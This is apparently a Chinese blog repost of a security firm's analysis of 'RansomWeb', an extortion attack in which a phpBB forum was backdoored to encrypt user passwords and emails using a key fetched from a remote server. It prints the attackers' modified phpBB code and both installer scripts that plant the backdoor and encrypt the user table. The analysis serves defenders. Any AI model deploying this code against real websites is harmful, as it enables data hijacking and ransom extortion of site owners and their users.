前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RansomWeb:一种新兴的网站威胁

RansomWeb:一种新兴的网站威胁

作者头像
用户1196457
发布2018-08-01 14:40:59
1.1K0
发布2018-08-01 14:40:59

越来越多的人成为勒索软件的受害者,勒索软件是一种加密你的数据并要求支付资金解密的恶意软件。最新趋势表明,网络犯罪分子现在也将瞄准您的网站以获得您的赎金。

2014年12月,我们的安全专家发现了一个非常有趣的金融公司网站泄密案例:网站服务异常停止,并显示了一个数据库错误。同时网站所有者收到一封电子邮件索要赎金以“解密数据库”。网站大多是小型站点,但问题在于其对公司的业务非常重要,不能暂停它,也不能宣布其妥协。我们通过仔细调查发现了以下细节:

- 六个月前Web应用程序遭到入侵,修改了几个服务器脚本以在将数据插入数据库之前加密数据,并在从数据库获取数据后进行解密,这相当于对Web应用程序用户打了个不可见的“动态”补丁。

- 只加密数据库表中最关键的字段(可能不会对Web应用程序性能产生很大影响)。所有之前的数据库记录都被进行了相应加密。

- 加密密钥存储在只能通过HTTPS访问的远程Web服务器上(可能是为了绕过各种流量监控系统的密钥拦截)。

- 在这六个月内,黑客正在一直在等待,直到数据库的原始备份被最新版本的数据库覆盖。

- 在第X天,黑客从远程服务器上删除了密钥。数据库变得无法使用,网站停止服务,黑客要求获得加密密钥的赎金。

我们确信这是针对具体公司的复杂APT的个别例子,但是上周我们遇到了另一个类似案例。我的一个客户,一个中小企业,在他的... phpBB论坛失灵之后被勒索了。该论坛被用作客户支持的主要平台,因此对客户很重要。

这是2014年11月25日发布的最新的phpBB 3.1.2版本,没有用户可以登录(包括论坛版主和管理员)。该论坛是在线的,但是要求论坛用户进行身份验证的所有功能都不起作用。我们的彻底调查显示,论坛引擎被打了补丁,使得用户的密码和电子邮件在Web应用程序和数据库之间被“即时”加密。

修改了以下文件:

1.文件“ factory.php ”的“sql_fetchrow()”函数被修改为SQL查询结果“$ result = $ this-> get_driver() - > sql_fetchrow($ query_id);并对集合中记录的”user_password“和”user_email“表字段进行解密:

代码语言:javascript
复制
if(isset($result['user_password'])){
 $result['user_password'] = $cipher->decrypt($result['user_password']);
 }
 if(isset($result['user_email'])){
 $result['user_email'] = $cipher->decrypt($result['user_email']);
 } 

2.文件“ functions_user.php ”的“user_add”功能被修改以对相应字段进行加密:

代码语言:javascript
复制
$sql_ary = array(
 'username'=>$user_row['username'],
 'username_clean' => $username_clean,
 'user_password' => (isset($user_row['user_password']))?
 $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''),
 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])),
 'user_email_hash'=> phpbb_email_hash($user_row['user_email']),
 'group_id' => $user_row['group_id'],
 'user_type' => $user_row['user_type'],
 ); 

3.文件“ cp_activate.php ”的“main()”函数被修改:

代码语言:javascript
复制
$sql_ary = array(
 'user_actkey' => '',
 'user_password' => $cipher->encrypt($user_row['user_newpasswd']),
 'user_newpasswd' => '',
 'user_login_attempts' => 0,
 ); 

4.文件“ ucp_profile.php ”的“main()”函数被修改:

代码语言:javascript
复制
if (sizeof($sql_ary))
 {
 $sql_ary['user_email'] = $cipher->encrypt($sql_ary['user_email']);
 $sql_ary['user_password'] = $cipher->encrypt($sql_ary['user_password']);
 $sql = 'UPDATE ' . USERS_TABLE . '
 SET ' . $db->sql_build_array('UPDATE', $sql_ary) . '
 WHERE user_id = ' . $user->data['user_id'];
 $db->sql_query($sql); 

5.文件“ config.php ”进行了以下修改:

代码语言:javascript
复制
class Cipher {
 private $securekey, $iv;
 function __construct($textkey) {
 $this->securekey = hash('sha256',$textkey,TRUE);
 $this->iv = mcrypt_create_iv(32);
 }
 function encrypt($input) {
 return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
 }
 function decrypt($input) {
 return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
 }
 }
 $key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/
 sdfds90f8d9s0f8d0f89.txt');
 $cipher=new Cipher($key);

此外,我们在服务器上发现了黑客留下的两个后门安装脚本,只需点击几下即可对任何phpBB论坛安装后门。第一个安装程序修补“config.php”文件以添加“Cipher”类,该类使用PHP“mcrypt_encrypt()”函数解密和加密数据,该函数在远程服务器上存储加密密钥:

代码语言:javascript
复制
<?php
 $file = '../config.php';
 $txt = "\n".'class Cipher {
 private $securekey, $iv;
 function __construct($textkey) {
 $this->securekey = hash(\'sha256\',$textkey,TRUE);
 $this->iv = mcrypt_create_iv(32);
 }
 function encrypt($input) {
 return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
 }
 function decrypt($input) {
 return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
 $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
 }
 }
 $key=file_get_contents(\'https://103.13.120.108/sfdoif89d7sf8d979dfgf/
 sdfds90f8d9s0f8d0f89.txt\');
 $cipher=new Cipher($key);'."\n";
 if( FALSE !== file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){
 echo "DONE!";
 }; 

第二个安装程序解析所有现有的phpBB用户加密他们的电子邮件和密码,并用后门副本替换上述phpBB文件:

代码语言:javascript
复制
<?php
 define('IN_PHPBB', true);
 $phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : '../';
 $phpEx = substr(strrchr(__FILE__, '.'), 1);
 include($phpbb_root_path . 'common.' . $phpEx);
 include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
 $sql = 'SELECT user_id, user_password, user_email FROM ' . USERS_TABLE;
 $result = $db->sql_query($sql);
 while ($row = $db->sql_fetchrow($result))
 {
 $sql2 = 'UPDATE ' . USERS_TABLE . '
 SET
 user_password = "'.$cipher->encrypt($row['user_password']).'",
 user_email = "'.$cipher->encrypt($row['user_email']).'"
 WHERE user_id = '.$row['user_id'];
 $result2 = $db->sql_query($sql2);
 }
 echo "SQL UPDATED!<br>";
 copy('factory.php', '../phpbb/db/driver/factory.php');
 copy('functions_user.php', '../includes/functions_user.php');
 copy('ucp_activate.php', '../includes/ucp/ucp_activate.php');
 copy('ucp_profile.php', '../includes/ucp/ucp_profile.php');
 echo "FILES UPDATED!"; 

攻击者等待了2个月,然后从远程服务器上删除了密钥。之后因为我们因为FTP密码泄露发现phpBB被损坏了。

目前,没有任何防病毒软件能够将安装程序检测为已知的恶意软件:

- “step1.php”文件

- “step2.php”文件

根据其攻击网站之后进行勒索的方式,我们称这种黑客技术为RansomWeb。我们试着对RansomWeb攻击进行了简要分析:

RansomWeb的特点:

- 与DDoS攻击不同; 它们可以对Web应用程序的可用性产生持久影响。

- 不仅可用于勒索,还可用于让网站长期无法工作。

- 备份无济于事,因为数据库将以加密模式备份,而加密密钥是远程存储的,不会备份。

- 几乎不可能在没有支付赎金的情况下从攻击中恢复,许多受害者不得不向黑客支付费用。

- 托管公司尚未准备好应对这一新挑战,可能无法帮助他们的客户。

RansomWeb的弱点:

- 可以通过文件完整性监视器轻松检测到(但是,很少有公司对可能每天都在更改的Web应用程序进行文件完整性监视)。

- 在不损害Web应用程序功能和/或速度的情况下加密整个数据库非常困难(尽管如此,即使一个不可恢复的DB字段也可能破坏Web应用程序)。

- 如果网站定期更新,就可能很快检测到。

High-Tech Bridge的首席执行官Ilia Kolochenko说:“我们可能面临一个新的威胁,可能比数据污损和DDoS攻击更严重。RansomWeb攻击可能造成无法修复的损坏,这很容易发生但很难预防。黑客攻击网站以获得荣耀或乐趣的日子已经结束,现在他们正受到金钱驱使,网络勒索,讹诈和敲诈的时代即将开始。“

首席研究官Marsel Nizamutdinov补充说:“网络勒索和勒索软件已经存在了一段时间,但网站是一个新的被敲诈对象。我们有数以千万计的易受攻击的网页应用程序包含关键数据,黑客绝对不会错过这样因为网站管理员的疏忽而赚钱的好机会。“

Ilia Kolochenko继续说道:“防止此类攻击的唯一方法是将常规安全监控与网站渗透测试相结合。”

RansomWeb攻击的效率和赚钱能力是否会优于DDoS,数据破坏和数据盗窃?这个问题很可能在2015年得到答案。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档